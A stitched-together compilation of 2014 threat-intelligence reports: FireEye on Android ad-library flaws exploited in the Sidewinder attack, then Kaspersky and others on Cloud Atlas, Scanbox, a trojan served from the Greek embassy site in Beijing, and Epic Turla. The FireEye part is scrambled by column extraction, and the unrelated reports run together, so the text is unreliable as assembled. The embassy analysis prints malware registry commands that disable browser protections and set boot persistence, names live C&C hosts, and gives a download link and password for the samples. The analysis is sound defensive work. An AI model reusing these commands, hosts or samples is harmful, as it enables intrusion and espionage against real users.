Unfortunately, several                             Attackers may rent servers close to the target
well-known attacks can be used to achieve                                    servers, and use fake ARP packets to direct all the
large-scale monitoring, including DNS hijacking,                             traffic to go through the hijacking servers first for
BGP hijacking, and ARP hijacking in IDC.
monitoring and hijacking..ARP hijacking is a
well-known approach used in network attacks.
In this context, DNS hijacking is done to subvert
the resolution of Domain Name System (DNS)                                   Using the large-scale traffic intercepted from the
queries through modifying the behavior of DNS                                above methods, attackers can iden- tify potential
servers so that they serve fake DNS information.
victims based on information leakage such as GPS
Figure 4: Number                                                                            App Num
of ad libraries
included in Google
25017
Play apps (with
more than 50,000                       20429
downloads
9196
4452
2543
2343
1609         1310
1291                                    607         980
498
0
0         1         2         3         4         5         6          7          8      9    10    >10
https://isc.sans.edu/diary/Domaincontrol+(GoDaddy)+Nameservers+DNS+ Poisoning+/5146.
24
http://www.networkworld.com/article/2272520/lan-wan/six-worst-internet- routing-attacks.html.
25
http://en.wikipedia.org/wiki/ARP\_spoofing.
26
12 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
location described in Sec- tion 4.2.
After that,        using Ad1, Ad2, ..., Ad92 to refer to them, where
they can inject exploits only into the targeted         the subscripts represent the rankings of how
traffic to launch further attacks.
Attackers keep a     many apps include the ad libraries.
The top five
low profile by allowing all other irrelevant            popular ad libraries’ inclusion and download
network traffic to pass without being modified.
statistics are listed in Table 2.
Targetable and Exploitable Google                       We analyzed the 92 ad libraries found in the
Play Apps                                               popular Google Play apps, and summa- rized the
We used the FireEye Mobile Threat Prevention            communication channel vulnerabilities in Table
(MTP) engine to analyze all of the ~73,000              3.
Combined with the uploaded information
popular apps from Google Play with more than            column we can learn about the data the
50,000 downloads, and identified 93 ad libraries.
attackers can obtain.
The detailed ad library inclusion statistics are
shown in Figure 4.
Seventy-one% of the apps             Fifty-seven of the 92 ad libraries in the popular
contain at least one ad library, 35% have at least      Google Play apps have the JBOH issue.
two ad libraries, and 22.25% include at least           Specifically, four of the top five ad libraries are
three ad libraries.
The largest ad inclusion            subject to this problem (shown in Table 2).
Seven
number is 35.
Since Google is cautious about the        of the 92 ad libraries are prone to DLOH attacks.
security of the products it directly controls, we       Particularly, some versions of Ad5 in Table 3 have
exclude Google Ad from the following discussion.
this problem.
The affected Google Play apps
For security considerations, in this paper we           number and the accumulated download counts
anonymize the names of the other 92 ad libraries,       are listed in Table 4.
Table 2: The
inclusion statistics          Ad Library         Number of Apps      JBOH Apps          Total Downloads      JBOH Downloads
of the top five
Android ad
Ad1                 9,702              2,802               8,781M               2,348M
libraries excluding
Google Ad.
Their
JBOH statistics                  Ad2                 8,856              4,204               7,865M               4,754M
are also listed
(discussed in
Ad3                 8,818              2,117               8,499M               1,611M
the earlier JBOH
section.
).
Ad4                 5,519              1,112               4,687M                617M
Ad5                 5,170               0                  4,519M                  0
13 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
Table 3: The
Ad Library                         Uploaded Info                       Protocol   SSL Vuln       JBOH       DLOH
uploaded data,
communication
channel                                               IMEI/device id, device model, An-              HTTP/
Ad1
droid version, location                  HTTPS
vulnerabilities, and
JBOH/DLOH details
device specification, Android version,
of the top five ad               Ad2                                                                  HTTP
host app info, location
libraries.
IMEI/device id, device model, An-
Ad3           droid version, device manufacturer, carrier info,      HTTP
location, ip
IMEI/device id, device model, device
Ad4                                                                  HTTP
specification, Android version
IMEI/device id, device model, device
Ad5               specification, Android version, coun- try,        HTTPS
launguage
Table 4: Assessment statistics                                                                       Type I                            Type II
Subject to attack type           Type I #                        Type II #
of Google Play apps (downloads                                                                     Downloads                          Downloads
≥50,000) that are vulnerable to the
Code injection via ptrace          2,055            444M            272                67M
Sidewinder Targeted Attack.
Type I
apps are those subject to JBOH or                       Send SMS                     349             340M            229                254M
DLOH attacks; Type II apps are those
not only JBOH/DLOH exploitable but                  Make phone calls                 572             399M            426                324M
also have the LOCATION leakage
Launcher modification              111             95M              81                37M
(thus vulnerable to the Sidewinder
Targeted Attack).
Note that an app                 Proxy modification                644             792M            419                378M
is counted in the total statistics if
it is subject to any of the attacks,                  Record audio                  1,097           1,408M           654                621M
including uploading files and root             Take pictures/record videos          1,141           1,380M           622                665M
exploits.
Install apps stealthily            351             552M            197                332M
Total(incl.
root exploits)        16,579          11,706M          4,201              3,207M
14 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
Conclusion
In the current golden age of Android ad              1.
Android is a complex system.
Any sub-
libraries, Sidewinder Targeted Attacks can               component’s vulnerability may impact the
target victims using info leakage and other              security of the whole system.
vulnerabilities of ad libraries to get valuable,         Fragmentation makes the situation even
sensitive information.
Millions of users are still       more challenging.
under the threat of Sidewinder Targeted
Attacks.
First we need to improve the security       2.
The trade-off between usability,
and privacy protection of ad libraries.
For              performance and security always matters,
example, we encourage ad libraries’ publishers           and market demand frequently dictates
to use HTTPS with proper SSL certificate                 that security comes last.
Many Android
developers do not even understand how
to program securely (as shown in the
JBOH issue).
Sidewinder Targeted Attacks can target
victims using info leakage and other                                               3.
Many security patches are not back-ported
to old versions of Android (like the launcher
vulnerabilities of ad libraries to get valuable,                                       settings problem described earlier), even
sensitive information.
Millions of users are                                           though older versions are widely used.
still under the threat of Sidewinder                                               4.
There is always information asymmetry in
Targeted Attacks.
the development chain.
For example, it
usually takes several months for vendors to
apply security patches after Google
releases them.
validation, and to properly encrypt network
traffic.
They also need to be cautious about         Albeit challenging, we hope that this work
which privileged interfaces are exposed to the       can kickstart a conversation, both on
ad providers, in case of malicious ads or            improved security and privacy protection in
attackers hijacking the communication channels.
third-party libraries and on a hardened
Android security framework.
Meanwhile, Google itself needs to further
harden the security framework.
This may prove
difficult because:
15 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
About FireEye, Inc.                                   provides real-time, dynamic threat protection
FireEye has invented a purpose-built, virtual         without the use of signatures to protect an
machine-based security platform that provides         organization across the primary threat vectors and
real-time threat protection to enterprises and        across the different stages of an attack life cycle.
governments worldwide against the next                The core of the FireEye platform is a virtual
generation of cyber attacks.
These highly             execution engine, complemented by dynamic threat
sophisticated cyber attacks easily circumvent         intelligence, to identify and block cyber attacks in
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marks of their respective owners.
WP.SW.EN-US.072014
Cloud Atlas: RedOctober APT is back in style
Two years ago, we published our research into RedOctober, a complex cyber-espionage operation
targeting diplomatic embassies worldwide.
We named it RedOctober because we started this investigation
in October 2012, an unusually hot month.
After our announcement in January 2013, the RedOctober operation was promptly shut down and the
network of C&Cs was dismantled.
As usually happens with these big operations, considering the huge
investment and number of resources behind it, they don't just "go away" forever.
Normally, the group goes
underground for a few months, redesigns the tools and the malware and resume operations.
See:
RedOctober Part 1
RedOctober Part 2
Since January 2013, we've been on the lookout for a possible RedOctober comeback.
One possible hit was
triggered when we observed Mevade, an unusual piece of malware that appeared late in 2013.
The Mevade
C&C name styles as well as some other technical similarities indicated a connection to RedOctober, but the
link was weak.
It wasn't until August 2014 that we observed something which made us wonder if
RedOctober is back for good.
Meet Cloud Atlas
In August 2014, some of our users observed targeted attacks with a variation of CVE-2012-0158 and an
unusual set of malware.
We did a quick analysis of the malware and it immediately stood out because of
certain unusual things that are not very common in the APT world.
Some of the filenames used in the attacks included:
FT - Ukraine Russia's new art of war.doc
Катастрофа малайзийского лайнера.doc
Diplomatic Car for Sale.doc
МВКСИ.doc
Organigrama Gobierno Rusia.doc
Фото.doc
Информационное письмо.doc
Форма заявки (25-26.09.14).doc
Информационное письмо.doc
Письмо_Руководителям.doc
Прилож.doc
Car for sale.doc
Af-Pak and Central Asia's security issues.doc
At least one of them immediately reminded us of RedOctober, which used a very similarly named
spearphish: "Diplomatic Car for Sale.doc".
As we started digging into the operation, more details emerged
which supported this theory.
Perhaps the most unusual fact was that the Microsoft Office exploit didn't directly write a Windows PE
backdoor on disk.
Instead, it writes an encrypted Visual Basic Script and runs it.
Cloud Atlas exploit payload - VBScript
This VBScript drops a pair of files on disk - a loader and an encrypted payload.
The loader appears to be
different every time and internal strings indicate it is "polymorphically" generated.
The payload is always
encrypted with a unique key, making it impossible to decrypt unless the DLL is available.
We observed several different spear-phishing documents that drop uniquely named payloads.
For
instance, the "qPd0aKJu.vbs" file MD5:
E211C2BAD9A83A6A4247EC3959E2A730 drops the following files:
DECF56296C50BD3AE10A49747573A346 - bicorporate - encrypted payload
D171DB37EF28F42740644F4028BCF727 - ctfmonrn.dll - loader
The VBS also adds a registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ setting the
key "bookstore" to the value "regsvr32 %path%\ctfmonrn.dll /s", which ensures the malware runs every
time at system boot.
Some of the DLL names we observed include:
f4e15c1c2c95c651423dbb4cbe6c8fd5 - bicorporate.dll
649ff144aea6796679f8f9a1e9f51479 - fundamentive.dll
40e70f7f5d9cb1a669f8d8f306113485 - papersaving.dll
58db8f33a9cdd321d9525d1e68c06456 - previliges.dll
f5476728deb53fe2fa98e6a33577a9da - steinheimman.dll
Some of the payload names include:
steinheimman
papersaving
previliges
fundamentive
bicorporate
miditiming
damnatorily
munnopsis
arzner
redtailed
roodgoose
acholias
salefians
wartworts
frequencyuse
nonmagyar
shebir
getgoing
The payload includes an encrypted configuration block which contains information about the C&C sever:
The information from the config includes a WebDAV URL which is used for connections, a username and
password, two folders on the WebDAV server used to store plugins/modules for the malware and where
data from the victim should be uploaded.
C&C communication
The Cloud Atlas implants utilize a rather unusual C&C mechanism.
All the malware samples we've seen
communicate via HTTPS and WebDav with the same server "cloudme.com", a cloud services provider.
According to their website, CloudMe is owned and operated by CloudMe AB, a company based in
Linköping, Sweden.
(Important note: we do not believe that CloudMe is in any way related to the Cloud Atlas group - the
attackers simply create free accounts on this provider and abuse them for command-and-control).
Each malware set we have observed so far communicates with a different CloudMe account though.
The
attackers upload data to the account, which is downloaded by the implant, decrypted and interpreted.
In
turn, the malware uploads the replies back to the server via the same mechanism.
Of course, it should be
possible to reconfigure the malware to use any Cloud-based storage service that supports WebDAV.
Here's a look at one such account from CloudMe:
The data from the account:
The files stored in the randomly named folder were uploaded by the malware and contain various things,
such as system information, running processes and current username.
The data is compressed with LZMA
and encrypted with AES, however, the keys are stored in the malware body which makes it possible to
decrypt the information from the C&C.
We previously observed only one other group using a similar method – ItaDuke – that connected to
accounts on the cloud provider mydrive.ch.
Victim statistics: top 5 infected countries
Similarities with RedOctober
Just like with RedOctober, the top target of Cloud Atlas is Russia, followed closely by Kazakhstan,
according to data from the Kaspersky Security Network (KSN).
Actually, we see an obvious overlap of
targets between the two, with subtle differences which closely account for the geopolitical
changes in the region that happened during the last two years.
Interestingly, some of the spear-phishing documents between Cloud Atlas and RedOctober seem to exploit
the same theme and were used to target the same entity at different times.
Both Cloud Atlas and RedOctober malware implants rely on a similar construct, with a loader and the final
payload that is stored encrypted and compressed in an external file.
There are some important differences
though, especially in the encryption algorithms used – RC4 in RedOctober vs AES in Cloud Atlas.
The usage of the compression algorithms in Cloud Altas and RedOctober is another interesting similarity.
Both malicious programs share the code for LZMA compression algorithm.
In CloudAtlas it is used to
compress the logs and to decompress the decrypted payload from the C&C servers, while in Red October
the "scheduler" plugin uses it to decompress executable payloads from the C&C.
It turns out that the implementation of the algorithm is identical in both malicious modules, however the
way it is invoked is a bit different, with additional input sanity checks added to the CloudAtlas version.
Another interesting similarity between the malware families is the configuration of the build system used
to compile the binaries.
Every binary created using the Microsoft Visual Studio toolchain has a special
header that contains information about the number of input object files and version information of the
compilers used to create them, the "Rich" header called so by the magic string that is used to identify it in
the file.
We have been able to identify several RedOctober binaries that have "Rich" headers describing exactly the
same layout of VC 2010 + VC 2008 object files.
Although this doesn't necessarily mean that the binaries
were created on the same development computer, they were definitely compiled using the same version of
the Microsoft Visual Studio up to the build number version and using similar project configuration.
Number of object
Number of object      Number of object
files,Red October     HEX compiler          Decoded compiler
files, CloudAtlas     files, Red October
Fileputexec           version               version
loader                Office plugin
plugin
VC 2010 (build
01                    01                    01                    009D766F
30319)
VC 2010 (build
01                    01                    01                    009B766F
30319)
VC 2010 (build
22                    2E                    60                    00AB766F
30319)
5B                    60                    A3                    00010000              –
VC 2008 (build
05                    07                    11                    00937809
30729)
VC 2010 (build
72                    5C                    AD                    00AA766F
30319)
VC 2010 (build
20                    10                    18                    009E766F
30319)
To summarize the similarities between the two:
Cloud Atlas                    RedOctober
Shellcode marker in spearphished
PT@T                           PT@T
documents
Top target country                      Russia                         Russia
Compression algorithm used for
LZMA                           LZMA
C&C communications
C&C servers claim to be / redirect to   BBC (mobile malware)           BBC
VC 2010 (build 30319) (some
Compiler version                        VC 2010 (build 30319)
modules)
Finally, perhaps the strongest connection comes from targeting.
Based on observations from KSN, some
of the victims of RedOctober are also being targeted by CloudAtlas.
In at least one case, the
victim's computer was attacked only twice in the last two years, with only two malicious
programs – RedOctober and Cloud Atlas.
These and other details make us believe that CloudAtlas represents a rebirth of the RedOctober attacks.
Conclusion
Following big announcements and public exposures of targeted attack operations, APT groups behave in a
predictable manner.
Most Chinese-speaking attackers simply relocate C&C servers to a different place,
recompile the malware and carry on as if nothing happened.
Other groups that are more nervous about exposure go in a hibernation mode for months or years.
Some
may never return using the same tools and techniques.
However, when a major cyber-espionage operation is exposed, the attackers are unlikely to completely
shut down everything.
They simply go offline for some time, completely reshuffle their tools and return
with rejuvenated forces.
We believe this is also the case of RedOctober, which makes a classy return with Cloud
Atlas.
Kaspersky products detect the malware from the Cloud Atlas toolset with the following verdicts:
Exploit.
Win32.CVE-2012-0158.j
Exploit.
Win32.CVE-2012-0158.eu
Exploit.
Win32.CVE-2012-0158.aw
Exploit.MSWord.CVE-2012-0158.ea
HEUR:Trojan.
Win32.CloudAtlas.gen
HEUR:Trojan.
Win32.Generic
HEUR:Trojan.
Script.
Generic
Trojan-Spy.
Win32.Agent.ctda
Trojan-Spy.
Win32.Agent.cteq
Trojan-Spy.
Win32.Agent.ctgm
Trojan-Spy.
Win32.Agent.ctfh
Trojan-Spy.
Win32.Agent.cter
Trojan-Spy.
Win32.Agent.ctfk
Trojan-Spy.
Win32.Agent.ctfj
Trojan-Spy.
Win32.Agent.crtk
Trojan-Spy.
Win32.Agent.ctcz
Trojan-Spy.
Win32.Agent.cqyc
Trojan-Spy.
Win32.Agent.ctfg
Trojan-Spy.
Win32.Agent.ctfi
Trojan-Spy.
Win32.Agent.cquy
Trojan-Spy.
Win32.Agent.ctew
Trojan-Spy.
Win32.Agent.ctdg
Trojan-Spy.
Win32.Agent.ctlf
Trojan-Spy.
Win32.Agent.ctpz
Trojan-Spy.
Win32.Agent.ctdq
Trojan-Spy.
Win32.Agent.ctgm
Trojan-Spy.
Win32.Agent.ctin
Trojan-Spy.
Win32.Agent.ctlg
Trojan-Spy.
Win32.Agent.ctpd
Trojan-Spy.
Win32.Agent.ctps
Trojan-Spy.
Win32.Agent.ctpq
Trojan-Spy.
Win32.Agent.ctpy
Trojan-Spy.
Win32.Agent.ctie
Trojan-Spy.
Win32.Agent.ctcz
Trojan-Spy.
Win32.Agent.ctgz
Trojan-Spy.
Win32.Agent.ctpr
Trojan-Spy.
Win32.Agent.ctdp
Trojan-Spy.
Win32.Agent.ctdr
Trojan.
Win32.Agent.idso
Trojan.
Win32.Agent.idrx
HEUR:Trojan.
Linux.
Cloudatlas.a
Trojan.
AndroidOS.Cloudatlas.a
Trojan.
IphoneOS.Cloudatlas.a
Parallel research:
Blue Coat Exposes Inception Framework
Scanbox: A Reconnaissance Framework Used with Watering Hole
Attacks
A few days ago we detected a watering hole campaign in a website owned by one big industrial company.
The website is related to software used for simulation and system engineering in a wide range of
industries, including automotive, aerospace, and manufacturing.
The attackers were able to compromise the website and include code that loaded a malicious Javascript
file from a remote server.
This Javascript file is a framework for reconnaissance that the attackers call
"Scanbox" and includes some of the techniques we described in a previous blog post: Attackers abusing
Internet Explorer to enumerate software and detect security products
The Scanbox framework first configures the remote C&C server that it will use and collects a small amount
of information about the victim that is visiting the compromised website including:
Referer
User-Agent
Location
Cookie
Title (To identify specific content that the victim is visiting)
Domain
Charset
Screen width and height
Operating System
Language
Resulting in something like this:
Before sending the information to the C&C server, Scanbox encodes and encrypts the data with the
following function:
Producing the following request:
If we decrypt the data it translates to:
After the first request, the framework contains several plugins to extract different information from the
victim.
Pluginid 1: Enumerates software installed in the system using the technique we explained before that
affects Internet Explorer.
It also checks if the system is running different versions of EMET (Enhanced
Mitigation Experience Toolkit):
Producing the list of security software on the target
Pluginid 2: Enumerates Adobe Flash versions
Pluginid 5: Enumerates Microsoft Office versions
Pluginid 6: Enumerates Acrobat Reader versions
Pluginid 8: Enumerates Java versions
Pluginid 21: Implements a “keylogger” functionality trough Javascript that logs all the keystrokes the
victim is typing inside the compromised website.
While the user is browsing the compromised website, all keystrokes are being recorded and sent to the
C&C periodically.
It will also send keystrokes when the user submits web forms that can potentially
include passwords and other sensitive data.
As we have seen, this is a very powerful framework that gives attackers a lot of insight into the potential
targets that will help them launching future attacks against them.
We have also seen several Metasploit-produced exploits that target different versions of Java in the same
IP address that hosts the Scanbox framework (122.10.9[.
]109).
We recommend you look for this type of activity against the following machines in your network:
mail[.
]webmailgoogle.com
js[.
]webmailgoogle.com
122[.
]10.9.109
#9 Blitzanalysis: Embassy of Greece Beijing - Compromise
It's friday afternoon, I had a bit of free time and stumbled across this tweet by PhysicalDrive0 (thx!)
two
hours ago and thought to give it a try to finally add a new article to this Blog (first of 2014):
https://twitter.com/PhysicalDrive0/status/479921770838102017
So, I went to Google to search for the domain of the Embassy of Greece Beijing and added the (allegedly)
malicious java file package that was found by PhysicalDrive0:
URL: http://www.grpressbeijing.com/1.jar (malicious!)
Next, I loaded the 1.jar file into Java Decompiler to get the source code.
It showed, that the functionality is
obfuscated in some way, e.g.
the function csfn(String paramString) decrypts all strings by "removing" the
numbers of the string parameter:
csfn("64s33333e3333t333S55e666c777u5r333i534t76y2M34a55n76a88g666e44r2222") ->
setSecurityManager
There are some other obfuscation techniques, but they are not important here.
Instead, the following
deobfuscated code line in the function init() gives us an idea where the actual payload is located:
Resp localResp = new Resp(csfn("234p34a55445c43654k632434234235")); -> pack
We can also see, that the java package contains a file named pack, so we open 7-Zip and unpack the file.
A
quick view with a PE viewer showed, that it is a x86 PE executable not even encrypted (SHA256:
b832e4b5a4829c8df6de7b42c5cb32ef25b5ab59072b4c2a7838404cd0dd5e5f):
Figure 2: Payload inside Java package
Figure 3: Payload inside PE viewer
So, I opened IDA Pro to take a quick look at the functionality.
Together with the strings of the executable,
we get a brief idea of what the purpose of this malware is.
The important strings are as follows:
SELECT * FROM AntiVirusProduct
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v PrivDiscUiShown /t
REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t
REG_DWORD /d 2 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no
/f
reg add "HKCU\Software\Microsoft\Internet Explorer\Main"
reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t
REG_DWORD /d 3 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d
1 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter"
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
WarnOnPostRedirect /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
WarnonZoneCrossing /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d
2 /f
reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1
/f
\cmd.exe
Together with the output of IDA Pro, we can see that this malware uses the command line tool cmd.exe for
adding several registry keys to Internet Explorer.
It also tries to retrieve possible AntiVirus information by
using the COM interface (dc12a687-737f-11cf-884d-00aa004b2e24 -> IWbemLocator -> SELECT *
FROM AntiVirusProduct).
Furthermore, it makes use of the COM to launch an instance of Internet
Explorer (d30c1661-cdaf-11d0-8a3e-00c04fc9e26e -> IWebBrowser2), supposedly to contact its C&C
server.
To verify this, we open up Wireshark and run the executable.
As a result, we get the following
network information:
C&C server: defense.miraclecz.com (IP: 208.115.124.83)
HTTP GET request: /index.asp?id=50100
Also, we see that it downloads some kind of data (Base64 encoded).
But first, we combine the C&C server
and the HTTP request and open the URL in our favorite Browser:
Figure 4: Base64 encoded (2nd) Payload
URL: defense.miraclecz.com/index.asp?id=50100
As you can see, there is a string named microsoft followed by Base64 encoded data.
Side note: Is there
also a Linux equivalent?
Next, we copy the Base64 encoded data and go to the following website to let us decode it into a file
(because I had the feeling it's just another unencrypted executable):
http://www.motobit.com/util/base64-decoder-encoder.asp
As a result, we get another executable (SHA256:
a4863f44f48d1c4c050dd7baad767a86b348dd4d33924acf4e0a3cd40c6ae29f) that was only Base64
encoded and not encrypted in any way:
Figure 5: Downloaded Payload
So again, we fire up our PE viewer and take a look at the important strings:
http://buy.miraclecz.com
reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t
REG_DWORD /d 2 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no
/f
reg add "HKCU\Software\Microsoft\Internet Explorer\Main"
reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t
REG_DWORD /d 3 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d
1 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter"
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
WarnOnPostRedirect /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
WarnonZoneCrossing /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d
2 /f
reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1
/f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v spoolsv.exe /t REG_SZ /d
%%temp%%\spoolsv.exe /f
spoolsv.exe
Software\Microsoft\Windows\CurrentVersion\Run
open file fail
cmd timeout error %d
Run cmd error %d
cmd.exe /c %s>%s
%s%d.txt
open file error
%temp%
%s%s.ini
myWObject
\cmd.exe
!DOCTYPE html
%s/?id1=blank%d&id2=%d%d
%s/?id1=%d%d
Again, we load the executable into IDA Pro and quickly fly over the assembly code to get an idea of the
functionality.
Once again, it creates several registry entries with the help of the command line tool and
creates an instance of the Internet Explorer (CoCreateInstance() -> d30c1661-cdaf-11d0-8a3e-
00c04fc9e26e) for contacting the C&C server.
This time, the network information is as follows:
C&C server: buy.miraclecz.com (IP: 74.121.191.33)
URL parameters (from strings of executable):
%s/?id1=blank%d&id2=%d%d
%s/?id1=%d%d
From the code we can see, that the sample has also the ability to encode/decode data from/to Base64.
The
dynamic analysis showed the malware sample contacted the C&C server, but wasn't sending any URL
parameters (id1, id2).
Also the server didn't respond...
The files can be downloaded here:
https://www.dropbox.com/s/ckr7p5kka62cc7s/Embassy%20of%20Greece%20-%20Beijing.zip
Password: "infected" (without "")
That's it, have a nice weekend...
The Epic Turla Operation
Technical Appendix with IOCs
Executive Summary
Over the last 10 months, Kaspersky Lab researchers have analyzed a massive cyber-espionage operation
which we call "Epic Turla".
The attackers behind Epic Turla have infected several hundred computers in
more than 45 countries, including government institutions, embassies, military, education, research and
pharmaceutical companies.
The attacks are known to have used at least two zero-day exploits:
CVE-2013-5065 - Privilege escalation vulnerability in Windows XP and Windows 2003
CVE-2013-3346 - Arbitrary code-execution vulnerability in Adobe Reader
We also observed exploits against older (patched) vulnerabilities, social engineering techniques and
watering hole strategies in these attacks.
The primary backdoor used in the Epic attacks is also known as
"WorldCupSec", "TadjMakhal", "Wipbot" or "Tavdig".
When G-Data published on Turla/Uroburos back in February, several questions remained unanswered.
One big unknown was the infection vector for Turla (aka Snake or Uroburos).
Our analysis indicates that
victims are infected via a sophisticated multi-stage attack, which begins with the Epic Turla.
In time, as
the attackers gain confidence, this is upgraded to more sophisticated backdoors, such as the
Carbon/Cobra system.
Sometimes, both backdoors are run in tandem, and used to "rescue" each other if
communications are lost with one of the backdoors.
Once the attackers obtain the necessary credentials without the victim noticing, they deploy the rootkit
and other extreme persistence mechanisms.
The attacks are still ongoing as of July 2014, actively targeting users in Europe and the Middle East.
Note: A full analysis of the Epic attacks is available to the Kaspersky Intelligent Services
subscribers.
Contact: intelreports@kaspersky.com
The Epic Turla attacks
The attacks in this campaign fall into several different categories depending on the vector used in the
initial compromise:
Spearphishing e-mails with Adobe PDF exploits (CVE-2013-3346 + CVE-2013-5065)
Social engineering to trick the user into running malware installers with ".SCR" extension,
sometimes packed with RAR
Watering hole attacks using Java exploits (CVE-2012-1723), Flash exploits (unknown) or Internet
Explorer 6,7,8 exploits (unknown)
Watering hole attacks that rely on social engineering to trick the user into running fake "Flash
Player" malware installers
The attackers use both direct spearphishing and watering hole attacks to infect their victims.
Watering
holes (waterholes) are websites of interest to the victims that have been compromised by the attackers and
injected to serve malicious code.
So far we haven't been able to locate any e-mail used against the victims, only the attachments.
The PDF
attachments do not show any "lure" to the victim when opened, however, the SCR packages sometime
show a clean PDF upon successful installation.
Some of known attachment names used in the spearphishing attacks are:
‫(ﺗﻤﺮ ﺟﻨ"ﻒ‬.rar (translation from Arabic: "Geneva conference.rar")
NATO position on Syria.scr
Note_№107-41D.pdf
Talking Points.scr
border_security_protocol.rar
Security protocol.scr
Program.scr
In some cases, these filenames can provide clues about the type of victims the attackers are targeting.
The watering hole attacks
Currently, the Epic attackers run a vast network of watering holes that target visitors with surgical
precision.
Some of the injected websites include:
The website of the City Hall of Pinor, Spain
A site promoting entrepreneurship in the border area of Romania
Palestinian Authority Ministry of Foreign Affairs
In total, we observed more than 100 injected websites.
Currently, the largest number of injected sites is in
Romania.
Here's a statistic on the injected websites:
The distribution is obviously not random, and it reflects some of the interests of the attackers.
For
instance, in Romania many of the infected sites are in the Mures region, while many of the Spanish
infected sites belong to local governments (City Hall).
Most of the infected sites use the TYPO3 CMS (see: http://typo3.org/), which could indicate the attackers
are abusing a specific vulnerability in this publishing platform.
Injected websites load a remote JavaScript into the victim's browser:
The script "sitenavigatoin.js" is a Pinlady-style browser and plugin detection script, which in turn,
redirects to a PHP script sometimes called main.php or wreq.php.
Sometimes, the attackers register the
.JPG extension with the PHP handler on the server, using "JPG" files to run PHP scripts:
Profiling script
The main exploitation script "wreq.php", "main.php" or "main.jpg" performs a numbers of tasks.
We have
located several versions of this script which attempt various exploitation mechanisms.
One version of this script attempts to exploit Internet Explorer versions 6, 7 and 8:
Internet Explorer exploitation script
Unfortunately, the Internet Explorer exploits have not yet been retrieved.
Another more recent version attempts to exploit Oracle Sun Java and Adobe Flash Player:
Java and Flash Player exploitation scripts
Although the Flash Player exploits couldn't be retrieved, we did manage to obtain the Java exploits:
Name               MD5
allj.html          536eca0defc14eff0a38b64c74e03c79
allj.jar           f41077c4734ef27dec41c89223136cf8
allj64.html        15060a4b998d8e288589d31ccd230f86
allj64.jar         e481f5ea90d684e5986e70e6338539b4
lstj.jar           21cbc17b28126b88b954b3b123958b46
lstj.html          acae4a875cd160c015adfdea57bd62c4
The Java files exploit a popular vulnerability, CVE-2012-1723, in various configurations.
The payload dropped by these Java exploits is the following:
MD5: d7ca9cf72753df7392bfeea834bcf992
The Java exploit use a special loader that attempts to inject the final Epic backdoor payload into
explorer.exe.
The backdoor extracted from the Java exploits has the following C&C hardcoded inside:
www.arshinmalalan[.
]com/themes/v6/templates/css/in.php
This C&C is still online at the moment although it redirects to a currently suspended page at
"hxxp://busandcoachdirectory.com[.]au".
For a full list of C&C servers, please see the Appendix.
The Epic Turla attackers are extremely dynamic in using exploits or different methods depending on what
is available at the moment.
Most recently, we observed them using yet another technique coupled with
watering hole attacks.
This takes advantage of social engineering to trick the user into running a fake
Flash Player (MD5: 030f5fdb78bfc1ce7b459d3cc2cf1877):
In at least one case, they tried to trick the user into downloading and running a fake Microsoft Security
Essentials app (MD5: 89b0f1a3a667e5cd43f5670e12dba411):
The fake application is signed by a valid digital certificate from Sysprint AG:
Serial number: 00 c0 a3 9e 33 ec 8b ea 47 72 de 4b dc b7 49 bb 95 Thumbprint: 24 21 58 64 f1 28 97 2b 26
22 17 2d ee 62 82 46 07 99 ca 46
Valid signature from Sysprint AG on Epic dropper
This file was distributed from the Ministry of Foreign Affairs of Tajikistan's website, at
"hxxp://mfa[.
]tj/upload/security.php".
The file is a .NET application that contains an encrypted resource.
This drops the malicious file with the
MD5 7731d42b043865559258464fe1c98513.
This is an Epic backdoor which connects to the following C&Cs, with a generic internal ID of 1156fd22-
3443-4344-c4ffff:
hxxp://homaxcompany[.
]com/components/com_sitemap/
hxxp://www.hadilotfi[.
]com/wp-content/themes/profile/
A full list with all the C&C server URLs that we recovered from the samples can be found in the technical
Appendix.
The Epic command-and-control infrastructure
The Epic backdoors are commanded by a huge network of hacked servers that deliver command and
control functionality.
The huge network commanded by the Epic Turla attackers serves multiple purposes.
For instance, the
motherships function as both exploitation sites and command and control panels for the malware.
Here's how the big picture looks like:
Epic Turla lifecycle
The first level of command and control proxies generally talk to a second level of proxies, which in turn,
talk to the "mothership" server.
The mothership server is generally a VPS, which runs the Control panel
software used to interact with the victims.
